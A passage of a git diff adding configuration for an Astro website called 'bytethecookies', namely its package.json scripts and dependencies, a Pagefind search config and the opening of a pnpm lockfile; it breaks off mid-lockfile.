"name": "authors", + "type": "list" + }, + { + "title": "category", + "name": "category", + "type": "string" + }, + { + "title": "draft", + "name": "draft", + "type": "boolean" + }, + { + "title": "language", + "name": "language", + "type": "string" + } + ] + } + ] +} diff --git a/package.json b/package.json new file mode 100644 index 00000000..fe814e12 --- /dev/null +++ b/package.json @@ -0,0 +1,91 @@ +{ + "name": "bytethecookies", + "type": "module", + "version": "0.0.1", + "scripts": { + "dev": "astro dev", + "start": "astro dev", + "check": "astro check", + "build": "astro build && pagefind --site dist", + "preview": "astro preview", + "astro": "astro", + "type-check": "tsc --noEmit --isolatedDeclarations", + "new-post": "node scripts/new-post.js", + "format": "biome format --write ./src", + "lint": "biome check --write ./src", + "preinstall": "npx only-allow pnpm" + }, + "dependencies": { + "@astrojs/check": "^0.9.4", + "@astrojs/react": "^4.4.2", + "@astrojs/rss": "^4.0.12", + "@astrojs/sitemap": "^3.6.0", + "@astrojs/svelte": "7.2.0", + "@astrojs/tailwind": "^6.0.2", + "@expressive-code/core": "^0.41.3", + "@expressive-code/plugin-collapsible-sections": "^0.41.3", + "@expressive-code/plugin-line-numbers": "^0.41.3", + "@fontsource-variable/jetbrains-mono": "^5.2.8", + "@fontsource/roboto": "^5.2.8", + "@iconify-json/fa6-brands": "^1.2.6", + "@iconify-json/fa6-regular": "^1.2.4", + "@iconify-json/fa6-solid": "^1.2.4", + "@iconify-json/material-symbols": "^1.2.40", + "@iconify-json/mingcute": "^1.2.5", + "@iconify-json/streamline-ultimate": "^1.2.2", + "@iconify/svelte": "^4.2.0", + "@radix-ui/react-slot": "^1.2.4", + "@swup/astro": "^1.7.0", + "@tailwindcss/typography": "^0.5.19", + "@types/react": "^19.2.6", + "@types/react-dom": "^19.2.3", + "astro": "5.13.10", + "astro-expressive-code": "^0.41.3", + "astro-icon": "^1.1.5", + "class-variance-authority": "^0.7.1", + "clsx": "^2.1.1", + "ethers": "^6.15.0", + "hastscript": "^9.0.1", + "katex": "^0.16.23", + "lucide-react": "^0.554.0", + "markdown-it": "^14.1.0", + "mdast-util-to-string": "^4.0.0", + "overlayscrollbars": "^2.12.0", + "pagefind": "^1.4.0", + "photoswipe": "^5.4.4", + "prettier-plugin-astro": "^0.14.1", + "react": "^19.2.0", + "react-dom": "^19.2.0", + "reading-time": "^1.5.0", + "rehype-autolink-headings": "^7.1.0", + "rehype-components": "^0.3.0", + "rehype-katex": "^7.0.1", + "rehype-slug": "^6.0.0", + "remark-directive": "^3.0.1", + "remark-directive-rehype": "^0.4.2", + "remark-github-admonitions-to-directives": "^1.0.5", + "remark-math": "^6.0.0", + "remark-sectionize": "^2.1.0", + "sanitize-html": "^2.17.0", + "sharp": "^0.34.4", + "stylus": "^0.64.0", + "svelte": "^5.39.8", + "tailwind-merge": "^3.4.0", + "tailwindcss": "^3.4.18", + "tw-animate-css": "^1.4.0", + "typescript": "^5.9.3", + "unist-util-visit": "^5.0.0" + }, + "devDependencies": { + "@astrojs/ts-plugin": "^1.10.4", + "@biomejs/biome": "2.2.5", + "@rollup/plugin-yaml": "^4.1.2", + "@types/hast": "^3.0.4", + "@types/markdown-it": "^14.1.2", + "@types/mdast": "^4.0.4", + "@types/sanitize-html": "^2.16.0", + "postcss-import": "^16.1.1", + "postcss-nesting": "^13.0.2" + }, + "packageManager": "pnpm@9.14.4" +} diff --git a/pagefind.yml b/pagefind.yml new file mode 100644 index 00000000..fdb9528f --- /dev/null +++ b/pagefind.yml @@ -0,0 +1,6 @@ +exclude_selectors: + - "span.katex" + - "span.katex-display" + - "[data-pagefind-ignore]" + - ".search-panel" + - "#search-panel" diff --git a/pnpm-lock.yaml b/pnpm-lock.yaml new file mode 100644 index 00000000..ed8503b7 --- /dev/null +++ b/pnpm-lock.yaml @@ -0,0 +1,11577 @@ +lockfileVersion: '9.0' + +settings: + autoInstallPeers: true + excludeLinksFromLockfile: false + +importers: + + .: + dependencies: + '@astrojs/check': + specifier: ^0.9.4 + version: 0.9.4(prettier-plugin-astro@0.14.1)(prettier@3.6.2)(typescript@5.9.3) + '@astrojs/react': + specifier: ^4.4.2 + version: 4.4.2(@types/node@24.5.2)(@types/react-dom@19.2.3(@types/react@19.2.6))(@types/react@19.2.6)(jiti@1.21.7)(lightningcss@1.29.3)(react-dom@19.2.0(react@19.2.0))(react@19.2.0)(sass@1.80.4)(stylus@0.64.0)(terser@5.43.1)(yaml@2.7.0) + '@astrojs/rss': + specifier: ^4.0.12 + version: 4.0.12 + '@astrojs/sitemap': + specifier: ^3.6.0 + version: 3.6.0 + '@astrojs/svelte': + specifier: 7.2.0 + version: 7.2.0(@types/node@24.5.2)(astro@5.13.10(@types/node@24.5.2)(jiti@1.21.7)(lightningcss@1.29.3)(rollup@2.79.2)(sass@1.80.4)(stylus@0.64.0)(terser@5.43.1)(typescript@5.9.3)(yaml@2.7.0))(jiti@1.21.7)(lightningcss@1.29.3)(sass@1.80.4)(stylus@0.64.0)(svelte@5.39.8)(terser@5.43.1)(typescript@5.9.3)(yaml@2.7.0) + '@astrojs/tailwind': + specifier: ^6.0.2 + version: 6.0.2(astro@5.13.10(@types/node@24.5.2)(jiti@1.21.7)(lightningcss@1.29.3)(rollup@2.79.2)(sass@1.80.4)(stylus@0.64.0)(terser@5.43.1)(typescript@5.9.3)(yaml@2.7.0))(tailwindcss@3.4.18(yaml@2.7.0)) + '@expressive-code/core': + specifier: ^0.41.3 + version: 0.41.3 + '@expressive-code/plugin-collapsible-sections': + specifier: ^0.41.3 + version: 0.41.3 + '@expressive-code/plugin-line-numbers': + specifier: ^0.41.3 + version: 0.41.3 + '@fontsource-variable/jetbrains-mono': + specifier: ^5.2.8 + version: 5.2.8 + '@fontsource/roboto': + specifier: ^5.2.8 + version: 5.2.8 + '@iconify-json/fa6-brands': + specifier: ^1.2.6 + version: 1.2.6 + '@iconify-json/fa6-regular': + specifier: ^1.2.4 + version: 1.2.4 + '@iconify-json/fa6-solid': + specifier: ^1.2.4 + version: 1.2.4 + '@iconify-json/material-symbols': + specifier: ^1.2.40 + version: 1.2.40 + '@iconify-json/mingcute': + specifier: ^1.2.5 + version: 1.2.5 + '@iconify-json/streamline-ultimate': + specifier: ^1.2.2 + version: 1.2.2 + '@iconify/svelte': + specifier: ^4.2.0 + version: 4.2.0(svelte@5.39.8) + '@radix-ui/react-slot': + specifier: ^1.2.4 + version: 1.2.4(@types/react@19.2.6)(react@19.2.0) + '@swup/astro': + specifier: ^1.7.0 + version: 1.7.0(@types/babel__core@7.20.5) + '@tailwindcss/typography': + specifier: ^0.5.19 + version: 0.5.19(tailwindcss@3.4.18(yaml@2.7.0)) + '@types/react': + specifier: ^19.2.6 + version: 19.2.6 + '@types/react-dom': + specifier: ^19.2.3 + version: 19.2.3(@types/react@19.2.6) + astro: + specifier: 5.13.10 + version: 5.13.10(@types/node@24.5.2)(jiti@1.21.7)(lightningcss@1.29.3)(rollup@2.79.2)(sass@1.80.4)(stylus@0.64.0)(terser@5.43.1)(typescript@5.9.3)(yaml@2.7.0) + astro-expressive-code: + specifier: ^0.41.3 + version: 0.41.3(astro@5.13.10(@types/node@24.5.2)(jiti@1.21.7)(lightningcss@1.29.3)(rollup@2.79.2)(sass@1.80.4)(stylus@0.64.0)(terser@5.43.1)(typescript@5.9.3)(yaml@2.7.0)) + astro-icon: + specifier: ^1.1.5 + version: 1.1.5 + class-variance-authority: + specifier: ^0.7.1 + version: 0.7.1 + clsx: + specifier: ^2.1.1 + version: 2.1.1 + ethers: + specifier: ^6.15.0 + version: 6.15.0 + hastscript: + specifier: ^9.0.1 + version: 9.0.1 + katex: + specifier: ^0.16.23 + version: 0.16.23 + lucide-react: + specifier: ^0.554.0 + version: 0.554.0(react@19.2.0) + markdown-it: + specifier: ^14.1.0 + version: 14.1.0 + mdast-util-to-string: + specifier: ^4.0.0 + version: 4.0.0 + overlayscrollbars: + specifier: ^2.12.0 + version: 2.12.0 + pagefind: + specifier: ^1.4.0 + version: 1.4.0 + photoswipe: + specifier: ^5.4.4 + version: 5.4.4 + prettier-plugin-astro: + specifier: ^0.14.1 + version: 0.14.1 + react: + specifier: ^19.2.0 + version: 19.2.0 + react-dom: + specifier: ^19.2.0 + version: 19.2.0(react@19.2.0) + reading-time: + specifier: ^1.5.0 + version: 1.5.0 + rehype-autolink-headings: + specifier: ^7.1.0 + version: 7.1.0 + rehype-components: + specifier: ^0.3.0 + version: 0.3.0 + rehype-katex: + specifier: ^7.0.1 + version: 7.0.1 + rehype-slug: + specifier: ^6.0.0 + version: 6.0.0 + remark-directive: + specifier: ^3.0.1 + version: 3.0.1 + remark-directive-rehype: + specifier: ^0.4.2 + version: 0.4.2 + remark-github-admonitions-to-directives: + specifier: ^1.0.5 + version: 1.0.5 + remark-math: + specifier: ^6.0.0 + version: 6.0.0 + remark-sectionize: + specifier: ^2.1.0 + version: 2.1.0 + sanitize-html: + specifier: ^2.17.0 + version: 2.17.0 + sharp: + specifier: ^0.34.4 + version: 0.34.4 + stylus: + specifier: ^0.64.0 + version: 0.64.0 + svelte: + specifier: ^5.39.8 + version: 5.39.8 + tailwind-merge: + specifier: ^3.4.0 + version: 3.4.0 + tailwindcss: + specifier: ^3.4.18 + version: 3.4.18(yaml@2.7.0) + tw-animate-css: + specifier: ^1.4.0 + version: 1.4.0 + typescript: + specifier: ^5.9.3 + version: 5.9.3 + unist-util-visit: + specifier: ^5.0.0 + version: 5.0.0 + devDependencies: + '@astrojs/ts-plugin': + specifier: ^1.10.4 + version: 1.10.4 + '@biomejs/biome': + specifier: 2.2.5 + version: 2.2.5 + '@rollup/plugin-yaml': + specifier: ^4.1.2 + version: 4.1.2(rollup@2.79.2) + '@types/hast': + specifier: ^3.0.4 + version: 3.0.4 + '@types/markdown-it': + specifier: ^14.1.2 + version: 14.1.2 + '@types/mdast': + specifier: ^4.0.4 + version: 4.0.4 + '@types/sanitize-html': + specifier: ^2.16.0 + version: 2.16.0 + postcss-import: + specifier: ^16.1.1 + version: 16.1.1(postcss@8.5.6) + postcss-nesting: + specifier: ^13.0.2 + version: 13.0.2(postcss@8.5.6) + +packages: + + '@adobe/css-tools@4.3.3': + resolution: {integrity: sha512-rE0Pygv0sEZ4vBWHlAgJLGDU7Pm8xoO6p3wsEceb7GYAjScrOHpEo8KK/eVkAcnSM+slAEtXjA2JpdjLp4fJQQ==} + + '@adraffy/ens-normalize@1.10.1': + resolution: {integrity: sha512-96Z2IP3mYmF1Xg2cDm8f1gWGf/HUVedQ3FMifV4kG/PQ4yEP51xDtRAEfhVNt5f/uzpNkZHwWQuUcu6D6K+Ekw==} + + '@alloc/quick-lru@5.2.0': + resolution: {integrity: sha512-UrcABB+4bUrFABwbluTIBErXwvbsU/V7TZWfmbgJfbkwiBuziS9gxdODUyuiecfdGQ85jglMW6juS3+z5TsKLw==} + engines: {node: '>=10'} + + '@ampproject/remapping@2.3.0': + resolution: {integrity: sha512-30iZtAPgz+LTIYoeivqYo853f02jBYSd5uGnGpkFV0M3xOt9aN73erkgYAmZU43x4VfqcnLxW9Kpg3R5LC4YYw==} + engines: {node: '>=6.0.0'} + + '@antfu/install-pkg@1.0.0': + resolution: {integrity: sha512-xvX6P/lo1B3ej0OsaErAjqgFYzYVcJpamjLAFLYh9vRJngBrMoUG7aVnrGTeqM7yxbyTD5p3F2+0/QUEh8Vzhw==} + + '@antfu/utils@8.1.1': + resolution: {integrity: sha512-Mex9nXf9vR6AhcXmMrlz/HVgYYZpVGJ6YlPgwl7UnaFpnshXs6EK/oa5Gpf3CzENMjkvEx2tQtntGnb7UtSTOQ==} + + '@astrojs/check@0.9.4': + resolution: {integrity: sha512-IOheHwCtpUfvogHHsvu0AbeRZEnjJg3MopdLddkJE70mULItS/Vh37BHcI00mcOJcH1vhD3odbpvWokpxam7xA==} + hasBin: true + peerDependencies: + typescript: ^5.0.0 + + '@astrojs/compiler@2.11.0': + resolution: {integrity: sha512-zZOO7i+JhojO8qmlyR/URui6LyfHJY6m+L9nwyX5GiKD78YoRaZ5tzz6X0fkl+5bD3uwlDHayf6Oe8Fu36RKNg==} + + '@astrojs/compiler@2.13.0': + resolution: {integrity: sha512-mqVORhUJViA28fwHYaWmsXSzLO9osbdZ5ImUfxBarqsYdMlPbqAqGJCxsNzvppp1BEzc1mJNjOVvQqeDN8Vspw==} + + '@astrojs/internal-helpers@0.7.3': + resolution: {integrity: sha512-6Pl0bQEIChuW5wqN7jdKrzWfCscW2rG/Cz+fzt4PhSQX2ivBpnhXgFUCs0M3DCYvjYHnPVG2W36X5rmFjZ62sw==} + + '@astrojs/language-server@2.15.4': + resolution: {integrity: sha512-JivzASqTPR2bao9BWsSc/woPHH7OGSGc9aMxXL4U6egVTqBycB3ZHdBJPuOCVtcGLrzdWTosAqVPz1BVoxE0+A==} + hasBin: true + peerDependencies: + prettier: ^3.0.0 + prettier-plugin-astro: '>=0.11.0' + peerDependenciesMeta: + prettier: + optional: true + prettier-plugin-astro: + optional: true + + '@astrojs/markdown-remark@6.3.7': + resolution: {integrity: sha512-KXGdq6/BC18doBCYXp08alHlWChH0hdD2B1qv9wIyOHbvwI5K6I7FhSta8dq1hBQNdun8YkKPR013D/Hm8xd0g==} + + '@astrojs/prism@3.3.0': + resolution: {integrity: sha512-q8VwfU/fDZNoDOf+r7jUnMC2//H2l0TuQ6FkGJL8vD8nw/q5KiL3DS1KKBI3QhI9UQhpJ5dc7AtqfbXWuOgLCQ==} + engines: {node: 18.20.8 || ^20.3.0 || >=22.0.0} + + '@astrojs/react@4.4.2': + resolution: {integrity: sha512-1tl95bpGfuaDMDn8O3x/5Dxii1HPvzjvpL2YTuqOOrQehs60I2DKiDgh1jrKc7G8lv+LQT5H15V6QONQ+9waeQ==} + engines: {node: 18.20.8 || ^20.3.0 || >=22.0.0} + peerDependencies: + '@types/react': ^17.0.50 || ^18.0.21 || ^19.0.0 + '@types/react-dom': ^17.0.17 || ^18.0.6 || ^19.0.0 + react: ^17.0.2 || ^18.0.0 || ^19.0.0 + react-dom: ^17.0.2 || ^18.0.0 || ^19.0.0 + + '@astrojs/rss@4.0.12': + resolution: {integrity: sha512-O5yyxHuDVb6DQ6VLOrbUVFSm+NpObulPxjs6XT9q3tC+RoKbN4HXMZLpv0LvXd1qdAjzVgJ1NFD+zKHJNDXikw==} + + '@astrojs/sitemap@3.6.0': + resolution: {integrity: sha512-4aHkvcOZBWJigRmMIAJwRQXBS+ayoP5z40OklTXYXhUDhwusz+DyDl+nSshY6y9DvkVEavwNcFO8FD81iGhXjg==} + + '@astrojs/svelte@7.2.0': + resolution: {integrity: sha512-6AbtExkKc+m0tHR7Plf4bd3Myx0FMHmAICFfp4eAlv8IavjFmZMIjosRvm2+1l8MTH80p+cQxQmo/R3K+RvXlw==} + engines: {node: 18.20.8 || ^20.3.0 || >=22.0.0} + peerDependencies: + astro: ^5.0.0 + svelte: ^5.1.16 + typescript: ^5.3.3 + + '@astrojs/tailwind@6.0.2': + resolution: {integrity: sha512-j3mhLNeugZq6A8dMNXVarUa8K6X9AW+QHU9u3lKNrPLMHhOQ0S7VeWhHwEeJFpEK1BTKEUY1U78VQv2gN6hNGg==} + peerDependencies: + astro: ^3.0.0 || ^4.0.0 || ^5.0.0 + tailwindcss: ^3.0.24 + + '@astrojs/telemetry@3.3.0': + resolution: {integrity: sha512-UFBgfeldP06qu6khs/yY+q1cDAaArM2/7AEIqQ9Cuvf7B1hNLq0xDrZkct+QoIGyjq56y8IaE2I3CTvG99mlhQ==} + engines: {node: 18.20.8 || ^20.3.0 || >=22.0.0} + + '@astrojs/ts-plugin@1.10.4': + resolution: {integrity: sha512-rapryQINgv5VLZF884R/wmgX3mM9eH1PC/I3kkPV9rP6lEWrRN1YClF3bGcDHFrf8EtTLc0Wqxne1Uetpevozg==} + + '@astrojs/yaml2ts@0.2.2': + resolution: {integrity: sha512-GOfvSr5Nqy2z5XiwqTouBBpy5FyI6DEe+/g/Mk5am9SjILN1S5fOEvYK0GuWHg98yS/dobP4m8qyqw/URW35fQ==} + + '@babel/code-frame@7.27.1': + resolution: {integrity: sha512-cjQ7ZlQ0Mv3b47hABuTevyTuYN4i+loJKGeV9flcCgIK37cCXRh+L1bd3iBHlynerhQ7BhCkn2BPbQUL+rGqFg==} + engines: {node: '>=6.9.0'} + + '@babel/compat-data@7.28.0': + resolution: {integrity: sha512-60X7qkglvrap8mn1lh2ebxXdZYtUcpd7gsmy9kLaBJ4i/WdY8PqTSdxyA8qraikqKQK5C1KRBKXqznrVapyNaw==} + engines: {node: '>=6.9.0'} + + '@babel/core@7.28.0': + resolution: {integrity: sha512-UlLAnTPrFdNGoFtbSXwcGFQBtQZJCNjaN6hQNP3UPvuNXT1i82N26KL3dZeIpNalWywr9IuQuncaAfUaS1g6sQ==} + engines: {node: '>=6.9.0'} + + '@babel/generator@7.28.0': + resolution: {integrity: sha512-lJjzvrbEeWrhB4P3QBsH7tey117PjLZnDbLiQEKjQ/fNJTjuq4HSqgFA+UNSwZT8D7dxxbnuSBMsa1lrWzKlQg==} + engines: {node: '>=6.9.0'} + + '@babel/helper-annotate-as-pure@7.27.3': + resolution: {integrity: sha512-fXSwMQqitTGeHLBC08Eq5yXz2m37E4pJX1qAU1+2cNedz/ifv/bVXft90VeSav5nFO61EcNgwr0aJxbyPaWBPg==} + engines: {node: '>=6.9.0'} + + '@babel/helper-compilation-targets@7.27.2': + resolution: {integrity: sha512-2+1thGUUWWjLTYTHZWK1n8Yga0ijBz1XAhUXcKy81rd5g6yh7hGqMp45v7cadSbEHc9G3OTv45SyneRN3ps4DQ==} + engines: {node: '>=6.9.0'} + + '@babel/helper-create-class-features-plugin@7.27.1': + resolution: {integrity: sha512-QwGAmuvM17btKU5VqXfb+Giw4JcN0hjuufz3DYnpeVDvZLAObloM77bhMXiqry3Iio+Ai4phVRDwl6WU10+r5A==} + engines: {node: '>=6.9.0'} + peerDependencies: + '@babel/core': ^7.0.0 + + '@babel/helper-create-regexp-features-plugin@7.27.1': + resolution: {integrity: sha512-uVDC72XVf8UbrH5qQTc18Agb8emwjTiZrQE11Nv3CuBEZmVvTwwE9CBUEvHku06gQCAyYf8Nv6ja1IN+6LMbxQ==} + engines: {node: '>=6.9.0'} + peerDependencies: + '@babel/core': ^7.0.0 + + '@babel/helper-define-polyfill-provider@0.6.5': + resolution: {integrity: sha512-uJnGFcPsWQK8fvjgGP5LZUZZsYGIoPeRjSF5PGwrelYgq7Q15/Ft9NGFp1zglwgIv//W0uG4BevRuSJRyylZPg==} + peerDependencies: + '@babel/core': ^7.4.0 || ^8.0.0-0 <8.0.0 + + '@babel/helper-globals@7.28.0': + resolution: {integrity: sha512-+W6cISkXFa1jXsDEdYA8HeevQT/FULhxzR99pxphltZcVaugps53THCeiWA8SguxxpSp3gKPiuYfSWopkLQ4hw==} + engines: {node: '>=6.9.0'} + + '@babel/helper-member-expression-to-functions@7.27.1': + resolution: {integrity: sha512-E5chM8eWjTp/aNoVpcbfM7mLxu9XGLWYise2eBKGQomAk/Mb4XoxyqXTZbuTohbsl8EKqdlMhnDI2CCLfcs9wA==} + engines: {node: '>=6.9.0'} + + '@babel/helper-module-imports@7.27.1': + resolution: {integrity: sha512-0gSFWUPNXNopqtIPQvlD5WgXYI5GY2kP2cCvoT8kczjbfcfuIljTbcWrulD1CIPIX2gt1wghbDy08yE1p+/r3w==} + engines: {node: '>=6.9.0'} + + '@babel/helper-module-transforms@7.27.3': + resolution: {integrity: sha512-dSOvYwvyLsWBeIRyOeHXp5vPj5l1I011r52FM1+r1jCERv+aFXYk4whgQccYEGYxK2H3ZAIA8nuPkQ0HaUo3qg==} + engines: {node: '>=6.9.0'} + peerDependencies: + '@babel/core': ^7.0.0 + + '@babel/helper-optimise-call-expression@7.27.1': + resolution: {integrity: sha512-URMGH08NzYFhubNSGJrpUEphGKQwMQYBySzat5cAByY1/YgIRkULnIy3tAMeszlL/so2HbeilYloUmSpd7GdVw==} + engines: {node: '>=6.9.0'} + + '@babel/helper-plugin-utils@7.27.1': + resolution: {integrity: sha512-1gn1Up5YXka3YYAHGKpbideQ5Yjf1tDa9qYcgysz+cNCXukyLl6DjPXhD3VRwSb8c0J9tA4b2+rHEZtc6R0tlw==} + engines: {node: '>=6.9.0'} + + '@babel/helper-remap-async-to-generator@7.27.1': + resolution: {integrity: sha512-7fiA521aVw8lSPeI4ZOD3vRFkoqkJcS+z4hFo82bFSH/2tNd6eJ5qCVMS5OzDmZh/kaHQeBaeyxK6wljcPtveA==} + engines: {node: '>=6.9.0'} + peerDependencies: + '@babel/core': ^7.0.0 + + '@babel/helper-replace-supers@7.27.1': + resolution: {integrity: sha512-7EHz6qDZc8RYS5ElPoShMheWvEgERonFCs7IAonWLLUTXW59DP14bCZt89/GKyreYn8g3S83m21FelHKbeDCKA==} + engines: {node: '>=6.9.0'} + peerDependencies: + '@babel/core': ^7.0.0 + + '@babel/helper-skip-transparent-expression-wrappers@7.27.1': + resolution: {integrity: sha512-Tub4ZKEXqbPjXgWLl2+3JpQAYBJ8+ikpQ2Ocj/q/r0LwE3UhENh7EUabyHjz2kCEsrRY83ew2DQdHluuiDQFzg==} + engines: {node: '>=6.9.0'} + + '@babel/helper-string-parser@7.27.1': + resolution: {integrity: sha512-qMlSxKbpRlAridDExk92nSobyDdpPijUq2DW6oDnUqd0iOGxmQjyqhMIihI9+zv4LPyZdRje2cavWPbCbWm3eA==} + engines: {node: '>=6.9.0'} + + '@babel/helper-validator-identifier@7.27.1': + resolution: {integrity: sha512-D2hP9eA+Sqx1kBZgzxZh0y1trbuU+JoDkiEwqhQ36nodYqJwyEIhPSdMNd7lOm/4io72luTPWH20Yda0xOuUow==} + engines: {node: '>=6.9.0'} + + '@babel/helper-validator-option@7.27.1': + resolution: {integrity: sha512-YvjJow9FxbhFFKDSuFnVCe2WxXk1zWc22fFePVNEaWJEu8IrZVlda6N0uHwzZrUM1il7NC9Mlp4MaJYbYd9JSg==} + engines: {node: '>=6.9.0'} + + '@babel/helper-wrap-function@7.27.1': + resolution: {integrity: sha512-NFJK2sHUvrjo8wAU/nQTWU890/zB2jj0qBcCbZbbf+005cAsv6tMjXz31fBign6M5ov1o0Bllu+9nbqkfsjjJQ==} + engines: {node: '>=6.9.0'} + + '@babel/helpers@7.27.6': + resolution: {integrity: sha512-muE8Tt8M22638HU31A3CgfSUciwz1fhATfoVai05aPXGor//CdWDCbnlY1yvBPo07njuVOCNGCSp/GTt12lIug==} + engines: {node: '>=6.9.0'} + + '@babel/parser@7.28.4': + resolution: {integrity: sha512-yZbBqeM6TkpP9du/I2pUZnJsRMGGvOuIrhjzC1AwHwW+6he4mni6Bp/m8ijn0iOuZuPI2BfkCoSRunpyjnrQKg==} + engines: {node: '>=6.0.0'} + hasBin: true + + '@babel/plugin-bugfix-firefox-class-in-computed-class-key@7.27.1': + resolution: {integrity: sha512-QPG3C9cCVRQLxAVwmefEmwdTanECuUBMQZ/ym5kiw3XKCGA7qkuQLcjWWHcrD/GKbn/WmJwaezfuuAOcyKlRPA==} + engines: {node: '>=6.9.0'} + peerDependencies: + '@babel/core': ^7.0.0 + + '@babel/plugin-bugfix-safari-class-field-initializer-scope@7.27.1': + resolution: {integrity: sha512-qNeq3bCKnGgLkEXUuFry6dPlGfCdQNZbn7yUAPCInwAJHMU7THJfrBSozkcWq5sNM6RcF3S8XyQL2A52KNR9IA==} + engines: {node: '>=6.9.0'} + peerDependencies: + '@babel/core': ^7.0.0 + + '@babel/plugin-bugfix-safari-id-destructuring-collision-in-function-expression@7.27.1': + resolution: {integrity: sha512-g4L7OYun04N1WyqMNjldFwlfPCLVkgB54A/YCXICZYBsvJJE3kByKv9c9+R/nAfmIfjl2rKYLNyMHboYbZaWaA==} + engines: {node: '>=6.9.0'} + peerDependencies: + '@babel/core': ^7.0.0 + + '@babel/plugin-bugfix-v8-spread-parameters-in-optional-chaining@7.27.1': + resolution: {integrity: sha512-oO02gcONcD5O1iTLi/6frMJBIwWEHceWGSGqrpCmEL8nogiS6J9PBlE48CaK20/Jx1LuRml9aDftLgdjXT8+Cw==} + engines: {node: '>=6.9.0'} + peerDependencies: + '@babel/core': ^7.13.0 + + '@babel/plugin-bugfix-v8-static-class-fields-redefine-readonly@7.27.1': + resolution: {integrity: sha512-6BpaYGDavZqkI6yT+KSPdpZFfpnd68UKXbcjI9pJ13pvHhPrCKWOOLp+ysvMeA+DxnhuPpgIaRpxRxo5A9t5jw==} + engines: {node: '>=6.9.0'} + peerDependencies: + '@babel/core': ^7.0.0 + + '@babel/plugin-proposal-class-properties@7.12.1': + resolution: {integrity: sha512-cKp3dlQsFsEs5CWKnN7BnSHOd0EOW8EKpEjkoz1pO2E5KzIDNV9Ros1b0CnmbVgAGXJubOYVBOGCT1OmJwOI7w==} + deprecated: This proposal has been merged to the ECMAScript standard and thus this plugin is no longer maintained. Please use @babel/plugin-transform-class-properties instead. + peerDependencies: + '@babel/core': ^7.0.0-0 + + '@babel/plugin-proposal-private-property-in-object@7.21.0-placeholder-for-preset-env.2': + resolution: {integrity: sha512-SOSkfJDddaM7mak6cPEpswyTRnuRltl429hMraQEglW+OkovnCzsiszTmsrlY//qLFjCpQDFRvjdm2wA5pPm9w==} + engines: {node: '>=6.9.0'} + peerDependencies: + '@babel/core': ^7.0.0-0 + + '@babel/plugin-syntax-flow@7.27.1': + resolution: {integrity: sha512-p9OkPbZ5G7UT1MofwYFigGebnrzGJacoBSQM0/6bi/PUMVE+qlWDD/OalvQKbwgQzU6dl0xAv6r4X7Jme0RYxA==} + engines: {node: '>=6.9.0'} + peerDependencies: + '@babel/core': ^7.0.0-0 + + '@babel/plugin-syntax-import-assertions@7.27.1': + resolution: {integrity: sha512-UT/Jrhw57xg4ILHLFnzFpPDlMbcdEicaAtjPQpbj9wa8T4r5KVWCimHcL/460g8Ht0DMxDyjsLgiWSkVjnwPFg==} + engines: {node: '>=6.9.0'} + peerDependencies: + '@babel/core': ^7.0.0-0 + + '@babel/plugin-syntax-import-attributes@7.27.1': + resolution: {integrity: sha512-oFT0FrKHgF53f4vOsZGi2Hh3I35PfSmVs4IBFLFj4dnafP+hIWDLg3VyKmUHfLoLHlyxY4C7DGtmHuJgn+IGww==} + engines: {node: '>=6.9.0'} + peerDependencies: + '@babel/core': ^7.0.0-0 + + '@babel/plugin-syntax-import-meta@7.10.4': + resolution: {integrity: sha512-Yqfm+XDx0+Prh3VSeEQCPU81yC+JWZ2pDPFSS4ZdpfZhp4MkFMaDC1UqseovEKwSUpnIL7+vK+Clp7bfh0iD7g==} + peerDependencies: + '@babel/core': ^7.0.0-0 + + '@babel/plugin-syntax-jsx@7.27.1': + resolution: {integrity: sha512-y8YTNIeKoyhGd9O0Jiyzyyqk8gdjnumGTQPsz0xOZOQ2RmkVJeZ1vmmfIvFEKqucBG6axJGBZDE/7iI5suUI/w==} + engines: {node: '>=6.9.0'} + peerDependencies: + '@babel/core': ^7.0.0-0 + + '@babel/plugin-syntax-unicode-sets-regex@7.18.6': + resolution: {integrity: sha512-727YkEAPwSIQTv5im8QHz3upqp92JTWhidIC81Tdx4VJYIte/VndKf1qKrfnnhPLiPghStWfvC/iFaMCQu7Nqg==} + engines: {node: '>=6.9.0'} + peerDependencies: + '@babel/core': ^7.0.0 + + '@babel/plugin-transform-arrow-functions@7.27.1': + resolution: {integrity: sha512-8Z4TGic6xW70FKThA5HYEKKyBpOOsucTOD1DjU3fZxDg+K3zBJcXMFnt/4yQiZnf5+MiOMSXQ9PaEK/Ilh1DeA==} + engines: {node: '>=6.9.0'} + peerDependencies: + '@babel/core': ^7.0.0-0 + + '@babel/plugin-transform-async-generator-functions@7.28.0': + resolution: {integrity: sha512-BEOdvX4+M765icNPZeidyADIvQ1m1gmunXufXxvRESy/jNNyfovIqUyE7MVgGBjWktCoJlzvFA1To2O4ymIO3Q==} + engines: {node: '>=6.9.0'} + peerDependencies: + '@babel/core': ^7.0.0-0 + + '@babel/plugin-transform-async-to-generator@7.27.1': + resolution: {integrity: sha512-NREkZsZVJS4xmTr8qzE5y8AfIPqsdQfRuUiLRTEzb7Qii8iFWCyDKaUV2c0rCuh4ljDZ98ALHP/PetiBV2nddA==} + engines: {node: '>=6.9.0'} + peerDependencies: + '@babel/core': ^7.0.0-0 + + '@babel/plugin-transform-block-scoped-functions@7.27.1': + resolution: {integrity: sha512-cnqkuOtZLapWYZUYM5rVIdv1nXYuFVIltZ6ZJ7nIj585QsjKM5dhL2Fu/lICXZ1OyIAFc7Qy+bvDAtTXqGrlhg==} + engines: {node: '>=6.9.0'} + peerDependencies: + '@babel/core': ^7.0.0-0 + + '@babel/plugin-transform-block-scoping@7.28.0': + resolution: {integrity: sha512-gKKnwjpdx5sER/wl0WN0efUBFzF/56YZO0RJrSYP4CljXnP31ByY7fol89AzomdlLNzI36AvOTmYHsnZTCkq8Q==} + engines: {node: '>=6.9.0'} + peerDependencies: + '@babel/core': ^7.0.0-0 + + '@babel/plugin-transform-class-properties@7.27.1': + resolution: {integrity: sha512-D0VcalChDMtuRvJIu3U/fwWjf8ZMykz5iZsg77Nuj821vCKI3zCyRLwRdWbsuJ/uRwZhZ002QtCqIkwC/ZkvbA==} + engines: {node: '>=6.9.0'} + peerDependencies: + '@babel/core': ^7.0.0-0 + + '@babel/plugin-transform-class-static-block@7.27.1': + resolution: {integrity: sha512-s734HmYU78MVzZ++joYM+NkJusItbdRcbm+AGRgJCt3iA+yux0QpD9cBVdz3tKyrjVYWRl7j0mHSmv4lhV0aoA==} + engines: {node: '>=6.9.0'} + peerDependencies: + '@babel/core': ^7.12.0 + + '@babel/plugin-transform-classes@7.28.0': + resolution: {integrity: 